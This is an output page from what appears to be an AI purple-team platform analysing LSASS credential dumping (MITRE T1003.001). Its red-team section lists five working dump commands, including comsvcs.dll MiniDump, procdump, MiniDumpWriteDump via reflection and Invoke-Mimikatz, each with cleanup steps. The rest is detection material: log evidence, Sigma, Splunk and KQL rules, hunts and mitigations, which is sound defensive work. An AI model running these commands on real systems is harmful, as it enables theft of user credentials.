🔴 RED TEAM ⚔️ PURPLE TEAM 🔵 BLUE TEAM

AI Purple Team Automation Platform

Enter a MITRE ATT&CK technique — get attack simulation commands, detection rules, coverage scoring, and a full exportable report

MITRE ATT&CK Technique ID *

T1003.001

Technique Name *

LSASS Memory

Additional Context (optional)

e.g. Attacker using encoded PowerShell to download and execute a remote payload

Quick select: T1059.001 PowerShell | T1003.001 LSASS | T1053.005 Sched Task | T1078 Valid Accounts | T1566.001 Phishing

⚔️ Run Purple Team Analysis

85/100

DETECTION COVERAGE SCORE

Good

Technique: T1003.001 — LSASS Memory

Tactic: Credential Access

Gaps Found: 5

📄 Export PDF Report

🔴 Red Team — Attack Simulation

TACTIC SEVERITY

Credential Access

Critical

STEALTH

Low

TOOLS

Mimikatz, ProcDump, comsvcs.dll (LOLBIN), SharpDump, Out-Minidump (PowerSploit), Dumpert, nanodump, PPLdump, MiniDumpWriteDump API

Adversaries attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores various credential materials in LSASS process memory, including NTLM hashes, Kerberos tickets, and plaintext passwords. Attackers can dump this memory to extract credentials for lateral movement and privilege escalation.

Real-world: *APT28 (Fancy Bear) and APT29 (Cozy Bear) have extensively used Mimikatz for credential harvesting. The NotPetya ransomware incorporated LSASS credential dumping for lateral movement. FIN7 and FIN8 groups regularly use custom LSASS dumping tools. The HAFNIUM group used procdump during Exchange server compromises. Lazarus Group has been observed using custom memory dumping utilities targeting LSASS.*

SIMULATION COMMANDS

1. Windows / PowerShell — Uses the built-in comsvcs.dll MiniDump export function to create a full memory dump of the LSASS process. This is a living-off-the-land technique that abuses legitimate Windows functionality.

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
```

Cleanup: Remove-Item C:\Windows\Temp\lsass.dmp -Force; Remove-Item C:\Windows\Temp\lsass.dmp -Force -ErrorAction SilentlyContinue*

2. Windows / CMD — Uses Sysinternals ProcDump utility to create a full memory dump of LSASS. ProcDump is a legitimate Microsoft tool often used by attackers due to its signed status.

```
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
```

Cleanup: del /f C:\Windows\Temp\lsass_dump.dmp && del /f procdump.exe

3. Windows / PowerShell — Uses PowerShell reflection to directly call the MiniDumpWriteDump API from dbghelp.dll without loading external tools. This fileless approach evades some signature-based detections.

```
$p = Get-Process lsass; $m = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static'); $fs = New-Object IO.FileStream('C:\Windows\Temp\debug.dmp','Create'); $m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32]2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)); $fs.Close()
```

Cleanup: Remove-Item C:\Windows\Temp\debug.dmp -Force

4. Windows / CMD — First identifies the LSASS PID using tasklist, then uses comsvcs.dll to dump the process. Replace 672 with actual LSASS PID from tasklist output.

```
tasklist /fi "imagename eq lsass.exe" && cd C:\Windows\System32 && rundll32.exe comsvcs.dll MiniDump 672 C:\temp\out.dmp full
```

Cleanup: del /f C:\temp\out.dmp

5. Windows / PowerShell — Uses PowerShell-loaded Mimikatz to directly extract credentials from LSASS memory without writing a dump file to disk. Extracts NTLM hashes, Kerberos tickets, and cleartext passwords if available.

```
Import-Module .\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
```

Cleanup: Remove-Module Invoke-Mimikatz -ErrorAction SilentlyContinue; Remove-Item .\Invoke-Mimikatz.ps1 -Force

EXPECTED LOG EVIDENCE

LOG SOURCE	EVENT ID	FIELD	VALUE	SIGNIFICANCE
Sysmon	10	TargetImage	`C:\Windows\System32\lsass.exe`	Process Access event showing a process attempting to open a handle to LSASS. The GrantedAccess field (0x1010, 0x1FFFFF) indicates memory read permissions were requested.
Sysmon	1	CommandLine	`comsvcs.dll, MiniDump`	Process creation event capturing the execution of rundll32 with comsvcs.dll MiniDump parameters, indicating LSASS dump attempt via LOLBIN.
Windows Security	4663	ObjectName	`\Device\HarddiskVolume*\*.dmp`	Object access audit showing creation of dump files. Combined with process tracking, this indicates credential dumping activity.
Windows Security	4656	ProcessName	`C:\Windows\System32\rundll32.exe`	Handle request event showing rundll32 requesting access to LSASS, particularly suspicious when combined with SeDebugPrivilege usage.
Sysmon	11	TargetFilename	`C:\Windows\Temp\lsass.dmp`	File creation event capturing the writing of LSASS memory dump to disk. Any .dmp file with lsass in the name or path warrants investigation.
Windows Defender	1116	Threat Name	`HackTool:Win32/Mimikatz`	Defender detection of Mimikatz or related credential dumping tools attempting to access LSASS memory.

IOCS GENERATED

- Process access to lsass.exe with PROCESS_VM_READ (0x0010) permission
- Creation of .dmp files in temp directories or unusual locations
- rundll32.exe spawned with comsvcs.dll MiniDump in command line
- procdump.exe execution with lsass as target
- Unsigned binaries accessing lsass.exe process
- PowerShell loading Invoke-Mimikatz or similar modules
- DbgHelp.dll or dbgcore.dll loaded by suspicious processes
- Files with high entropy in temp directories post-execution

🔵 Blue Team — Detection Engineering

FALSE POSITIVE RATE

Medium

DETECTION GAPS

5 gaps identified

Legitimate security tools, EDR agents, and antivirus software regularly access LSASS for monitoring purposes. Windows Defender (MsMpEng.exe), Task Manager, and Process Explorer may trigger alerts when examining system processes. IT administrators using Sysinternals tools for legitimate troubleshooting may also generate false positives. Crash dump collection by Windows Error Reporting (WerFault.exe) accessing LSASS during system issues is normal behavior. Some backup and forensic tools may also legitimately access LSASS memory.

DETECTION GAPS

High Direct NTDLL syscall invocations bypassing API hooks

→ Deploy kernel-level ETW providers or EDR solutions that monitor at syscall level. Enable Windows Credential Guard to protect LSASS memory.

High Memory-only credential extraction without dump file creation

→ Focus detection on Sysmon Event ID 10 process access patterns rather than file creation. Monitor for any process accessing LSASS with PROCESS_VM_READ permissions.

Medium Obfuscated PowerShell reflection-based attacks

→ Enable PowerShell Script Block Logging (Event ID 4104) and Module Logging to capture deobfuscated commands. Deploy AMSI integration for runtime inspection.

Medium Use of renamed or custom-compiled credential dumping tools

→ Focus on behavioral indicators (LSASS access patterns, SeDebugPrivilege usage) rather than tool names. Implement hash-based and YARA signature scanning.

Medium Silent process hollowing or DLL injection into legitimate processes before LSASS access

→ Monitor for suspicious parent-child process relationships and unsigned DLLs loaded into processes that access LSASS.

DETECTION RULES

Sigma | Splunk SPL | KQL | Wazuh XML

Sigma Rule — Copy

```
title: LSASS Memory Credential Dumping | id: a5f0d9f0-8b2a-4c3d-9e1f-2a3b4c5d6e7f | status: production | description: Detects attempts to dump LSASS memory using various techniques including comsvcs.dll MiniDump, procdump, and direct API calls | author: Detection Engineering | date: 2024/01/15 | references: - https://attack.mitre.org/techniques/T1003/001/ | tags: - attack.credential_access - attack.t1003.001 | logsource: category: process_access product: windows | detection: selection_target: TargetImage|endswith: '\lsass.exe' selection_access: GrantedAccess|contains: - '0x1010' - '0x1410' - '0x1438' - '0x143a' - '0x1FFFFF' - '0x1F1FFF' - '0x1F3FFF' filter_legitimate: SourceImage|endswith: - '\wmiprvse.exe' - '\taskmgr.exe' - '\procexp64.exe' - '\procexp.exe' - '\MsMpEng.exe' - '\csrss.exe' - '\wininit.exe' - '\vmtoolsd.exe' condition: selection_target and selection_access and not filter_legitimate | fields: - SourceImage - TargetImage - GrantedAccess - CallTrace | falsepositives: - Legitimate security tools and EDR products - System administration tools - Antivirus software | level: critical
```

THREAT HUNTING QUERIES

Splunk — Hunt for rare processes accessing LSASS memory - identifies potential novel credential dumping tools by finding uncommon source images

```
index=windows source="*Sysmon*" EventCode=10 TargetImage="*lsass.exe" | stats count by SourceImage, GrantedAccess, Computer | where count < 5 | sort -count | lookup legitimate_lsass_accessors.csv SourceImage OUTPUT is_legitimate | where isnull(is_legitimate)
```

Splunk — Hunt for LOLBIN abuse patterns using rundll32 or PowerShell with dump-related keywords

```
index=windows source="*Sysmon*" EventCode=1 (Image="*rundll32.exe" OR Image="*powershell.exe") | regex CommandLine="(?i)(comsvcs|dbghelp|minidump|MiniDumpWriteDump|WindowsErrorReporting)" | table _time, Computer, User, Image, CommandLine, ParentImage
```

KQL — Identify rare command-line patterns related to LSASS dumping across the environment

```
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName in~ ("rundll32.exe", "powershell.exe", "cmd.exe") | where ProcessCommandLine matches regex @"(?i)(lsass|comsvcs.*dump|procdump|dbghelp|minidump)" | summarize ExecutionCount=count(), Devices=dcount(DeviceName) by ProcessCommandLine | where ExecutionCount < 10
```

Sigma — Hunt for any non-standard process accessing LSASS for baseline development

```
title: Unusual LSASS Access Pattern Hunt | logsource: category: process_access product: windows | detection: selection: TargetImage|endswith: '\lsass.exe' filter: SourceImage|endswith: - '\svchost.exe' - '\MsMpEng.exe' - '\csrss.exe' condition: selection and not filter | fields: - SourceImage - GrantedAccess - CallTrace
```

Splunk — Hunt for suspicious dump files being created that may contain LSASS memory

```
index=windows source="*Sysmon*" EventCode=11 TargetFilename="*.dmp" | rex field=TargetFilen
ame "(?[^\\]+)$" | where match(filename, "(?i)lsass|debug|memory|cred|dump") OR match(Targe
tFilename, "(?i)\\temp\\|\\tmp\\") | stats count by Computer, TargetFilename, Image | table
_time, Computer, Image, TargetFilename
```

MITRE MITIGATIONS

M1043 Credential Access Protection

Enable Windows Credential Guard to use virtualization-based security to isolate LSASS and protect credentials from being extracted even with administrative access. This prevents most memory dumping techniques from accessing plaintext credentials.

M1025 Privileged Process Integrity

Enable LSA Protection (RunAsPPL) by setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL to 1. This runs LSASS as a Protected Process Light, preventing non-protected processes from accessing its memory.

M1026 Privileged Account Management

Limit the number of accounts with SeDebugPrivilege, which is required to access LSASS memory. Remove this privilege from standard administrator accounts and audit its usage carefully.

M1017 User Training

Train users to avoid running untrusted executables and to report suspicious activities. Attackers often require initial access through phishing or social engineering before attempting credential dumping.

M1027 Password Policies

Implement strong password policies and regular rotation to limit the window of opportunity for stolen credentials. Use managed service accounts and gMSA where possible to automatically rotate passwords.

M1028 Operating System Configuration

Disable WDigest authentication by ensuring HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential is set to 0. This prevents cleartext passwords from being stored in LSASS memory on Windows 8.1+ and Server 2012 R2+.

📊 Coverage Analysis

The available log sources provide strong coverage for LSASS credential dumping attempts. Sysmon Event ID 10 (Process Access) is particularly valuable for detecting handle requests to LSASS with suspicious access rights. Event ID 1 captures command-line arguments revealing comsvcs.dll abuse and procdump usage. File creation events (Sysmon 11) catch dump file writes. However, advanced fileless techniques using direct API

calls and in-memory Mimikatz may partially evade detection if they avoid writing to disk or use obfuscated PowerShell.